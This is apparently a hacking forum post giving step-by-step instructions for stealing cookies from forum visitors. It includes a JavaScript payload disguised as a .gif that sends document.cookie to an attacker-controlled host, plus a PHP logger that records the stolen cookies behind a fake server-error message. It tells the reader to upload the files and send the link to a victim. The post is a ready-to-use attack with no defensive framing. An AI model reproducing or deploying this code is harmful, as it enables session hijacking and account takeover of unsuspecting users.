-
Steal Cookies
Steal Cookies With A Gif From A Forum
Read More
-
How to steal cookies with a gif from a forum, here is steps to do that:
- Open notepad and copy the script below:
<script>location.href='http://WWW.YOURSITE.COM/cookielogger.php?cookie='+escape(document.cookie)</SCRIPT>
Save it as fun.gif
<?php
$filename = "logfile.txt";
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, 'a'))
{
echo "Temporary Server Error,Sorry for the inconvenience.";
exit;
}
else
{
if (fwrite($handle, "rn" . $_GET["cookie"]) === FALSE)
{
echo "Temporary Server Error,Sorry for the inconvenience.";
exit;
}
}
echo "Temporary Server Error,Sorry for the inconvenience.";
fclose($handle);
exit;
}
echo "Temporary Server Error,Sorry for the inconvenience.";
exit;
?>
Save it as cookielogger.php
- Now open new notepad and save blank notepad file as logfile.txt
- Upload all file that has been created to your hosting
cookielogger.php > http://WWW.YOURSITE.COM/cookielogger.php
logfile.txt > http://WWW.YOURSITE.COM/logfile.txt (chmod 777)
fun.gif > http://WWW.YOURSITE.COM/fun.gif
Now send this to victim.
Credit: DnSsTuF